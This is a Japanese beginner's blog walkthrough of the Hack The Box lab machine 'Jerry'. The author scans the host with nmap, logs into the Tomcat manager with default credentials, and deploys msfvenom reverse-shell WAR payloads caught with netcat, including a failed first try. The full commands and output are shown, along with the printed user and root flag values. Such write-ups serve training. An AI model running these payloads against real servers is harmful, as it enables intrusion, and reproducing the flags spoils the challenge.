4台目 <Hack the Box> Jerry -Walkthrough-


自己紹介

Hack the box ど素人
ハッキングラボを終えて試す場としておすすめだということで始めました。

自分用のメモではありますが、間違いや改善点などご指摘いただいたけたら幸いです。

マシン

今回のマシンはJerry,
@v_avengerさんのDEF CON 28:Red Team Village:敵対者を蹴散らすゲリラレッドチームの構築を参考に進めようと思い、このマシンを選びました.
加えてグラフを見ると簡単そう?だった.

nmap

まずはnmapで開いているポートを調べる.

root@kali:~# nmap -Pn -A 10.10.10.95
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-22 11:47 JST
Nmap scan report for 10.10.10.95
Host is up (0.25s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 (90%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   251.15 ms 10.10.14.1
2   251.28 ms 10.10.10.95

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.93 seconds

8080番のポートしかない, 初めてwebの問題に当たったなという印象.
とりあえず開いてい見るかと思い, URLに10.10.10.95:8080を打ち込むと以下のようなページに移動した.

以前Hack the box の歩き方というお話を聞いた際にwebの問題はアップロードに注目するという話を聞いたので探してみる.

認証

色々回ってみるとManager Appというところを押すとユーザー名とパスワードが求められた.
SQLでも入れるのだろうか,ブルートフォースでもするのだろうかと色々考えたが
とりあえずテキトーに打ってみると以下のような画面になった.

ユーザー名がtomcat, パスワードがs3cret と書いてある,
実際に打ち込むと管理者画面? に移動した.

warファイルのデプロイ

話で聞いていた通り,
この画面の下にいくと以下のようにファイルをアップロードできるところを発見したのでここにリバースシェルのペイロードをデプロイしてみる.

失敗例

(自分以外の人が見る想定はあまりしていませんが)
他の方のwriteupと同じ内容のものを書くのもあれなので,
自分がどのような手順を踏んだか細かく書いてみます.
見るに耐えないと思った方は飛ばしていただけると嬉しいです.

まずはペイロードをmsfvenomを使って作成する.
Winだしハッキングラボと同じ方法でできるのではないかと思い,
実際にやってみた.

root@kali:~/hackthebox/Jerry# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.95 -f war -o /root/hackthebox/Jerry/reverse.war
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of war file: 52220 bytes
Saved as: /root/hackthebox/Jerry/reverse.war
root@kali:~/hackthebox/Jerry# ls
reverse.war
root@kali:~/hackthebox/Jerry# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set lhost 10.10.10.95
lhost => 10.10.10.95
msf5 exploit(multi/handler) > exploit

[-] Handler failed to bind to 10.10.10.95:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444 
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] exploit: Interrupted
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.10.95      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set lport 8080
lport => 8080
msf5 exploit(multi/handler) > exploit

[-] Handler failed to bind to 10.10.10.95:8080:-  -
[*] Started reverse TCP handler on 0.0.0.0:8080 
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] exploit: Interrupted

ここまで来てLHOSTにJerryのIPアドレスを入れていたことに気づく.
だとしてもポート番号も変えてないし

というわけでTake2

root@kali:~/hackthebox/Jerry# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 -f war -o /root/hackthebox/Jerry/reverse.war
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of war file: 52191 bytes
Saved as: /root/hackthebox/Jerry/reverse.war
root@kali:~/hackthebox/Jerry# ls
reverse.war  shell.war
root@kali:~/hackthebox/Jerry# msfconsole

               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,                                                                                                                                                                                                       
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,                                                                                                                                                                                                    
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:                                                                                                                                                                                                  
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,                                                                                                                                                                                                
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo                                                                                                                                                                                               
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk                                                                                                                                                                                              
 oMMMMMMMMMMx.                    dMMMMMMMMMMx                                                                                                                                                                                             
.WMMMMMMMMM:                       :MMMMMMMMMM,                                                                                                                                                                                            
xMMMMMMMMMo                         lMMMMMMMMMO                                                                                                                                                                                            
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;                                                                                                                                                                                     
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:                                                                                                                                                                                      
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:                                                                                                                                                                                        
xMMMMMMMMMd                        ,0MMMMMMMMMMK;                                                                                                                                                                                          
.WMMMMMMMMMc                         'OMMMMMM0,                                                                                                                                                                                            
 lMMMMMMMMMMk.                         .kMMO'                                                                                                                                                                                              
  dMMMMMMMMMMWd'                         ..                                                                                                                                                                                                
   cWMMMMMMMMMMMNxc'.                ##########                                                                                                                                                                                            
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v5.0.87-dev                          ]
+ -- --=[ 2006 exploits - 1095 auxiliary - 343 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Open an interactive Ruby terminal with irb

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set lhost 10.10.14.3
lhost => 10.10.14.3
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.3:4444 
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] exploit: Interrupted

やり方を変えるまで

まあ出来ない,
ということでネットサーフィンしていると以下の記事を発見.

@mr-wacker さんのMSFvenom ~ ペイロード早見表 ~

ここらへんでやっと「やってること色々おかしいな、そもそもOSに対してとwebで条件違いそうだし、tcpとhttpだし」と気づく.

成功例

こっちは他の方のものと似通った内容だと思います。

上記の添付記事を参考にペイロードを作成, デプロイする.

root@kali:~/hackthebox/Jerry# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f war > shell.war
Payload size: 1094 bytes
Final size of war file: 1094 bytes

ちなみにコマンドのオプションの意味は以下の通りです.
-p...ペイロードのパス
-f 拡張子 > ファイル名...出力ファイルの形式が拡張子でファイル名がファイル名のファイルをカレントディレクトリに生成
(-f 拡張子 -o ファイルパス という感じでもOK.)

このwarファイルをデプロイすると以下のように一番下に追加される.

ncコマンドで待ち構えながらこの/shellをクリックするとシェルが来た.

root@kali:~/hackthebox/Jerry# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]                                                                                                                                                                                                       
(c) 2013 Microsoft Corporation. All rights reserved. 

C:\apache-tomcat-7.0.88>                                                                                                                                                                                      

userとroot

C:\apache-tomcat-7.0.88>cd / 
cd /

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of C:\

06/19/2018  04:07 AM    <DIR>          apache-tomcat-7.0.88
08/22/2013  06:52 PM    <DIR>          PerfLogs
06/19/2018  06:42 PM    <DIR>          Program Files
06/19/2018  06:42 PM    <DIR>          Program Files (x86)
06/18/2018  11:31 PM    <DIR>          Users
06/19/2018  06:54 PM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  27,602,911,232 bytes free

C:\>cd Users
cd Users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of C:\Users

06/18/2018  11:31 PM    <DIR>          .
06/18/2018  11:31 PM    <DIR>          ..
06/18/2018  11:31 PM    <DIR>          Administrator
08/22/2013  06:39 PM    <DIR>          Public
               0 File(s)              0 bytes
               4 Dir(s)  27,602,911,232 bytes free

C:\Users>cd Administrator
cd Administrator

C:\Users\Administrator>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of C:\Users\Administrator

06/18/2018  11:31 PM    <DIR>          .
06/18/2018  11:31 PM    <DIR>          ..
06/19/2018  06:43 AM    <DIR>          Contacts
06/19/2018  07:09 AM    <DIR>          Desktop
06/19/2018  06:43 AM    <DIR>          Documents
06/19/2018  06:43 AM    <DIR>          Downloads
06/19/2018  06:43 AM    <DIR>          Favorites
06/19/2018  06:43 AM    <DIR>          Links
06/19/2018  06:43 AM    <DIR>          Music
06/19/2018  06:43 AM    <DIR>          Pictures
06/19/2018  06:43 AM    <DIR>          Saved Games
06/19/2018  06:43 AM    <DIR>          Searches
06/19/2018  06:43 AM    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)  27,602,911,232 bytes free

C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of C:\Users\Administrator\Desktop

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:09 AM    <DIR>          flags
               0 File(s)              0 bytes
               3 Dir(s)  27,602,911,232 bytes free

C:\Users\Administrator\Desktop>cd flags
cd flags

C:\Users\Administrator\Desktop\flags>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of C:\Users\Administrator\Desktop\flags

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:11 AM                88 2 for the price of 1.txt
               1 File(s)             88 bytes
               2 Dir(s)  27,602,911,232 bytes free

C:\Users\Administrator\Desktop\flags>cat 1.txt
cat 1.txt

C:\Users\Administrator\Desktop\flags>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of C:\Users\Administrator\Desktop\flags

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:11 AM                88 2 for the price of 1.txt
               1 File(s)             88 bytes
               2 Dir(s)  27,602,911,232 bytes free

C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e

感想

今回は4個目のマシンだった.

失敗例に載せたものは経験者の方からすれば意味のわからない振る舞いなのだろうなと思った.

もう1回ハッキングラボ読み直したり,
ネットワークやサーバー関連の知識から入れるべきなのかなと感じた.

あとパスワードのところがSQLだとかブルートフォースだとかだったら答え見ないと自分の力量ではできないだろうなと感じた.

Activeがwriteup見てもやってることが全く分からないので理解できるようにならなければ、、、

拙い記事を最後まで読んでいただきありがとうございました。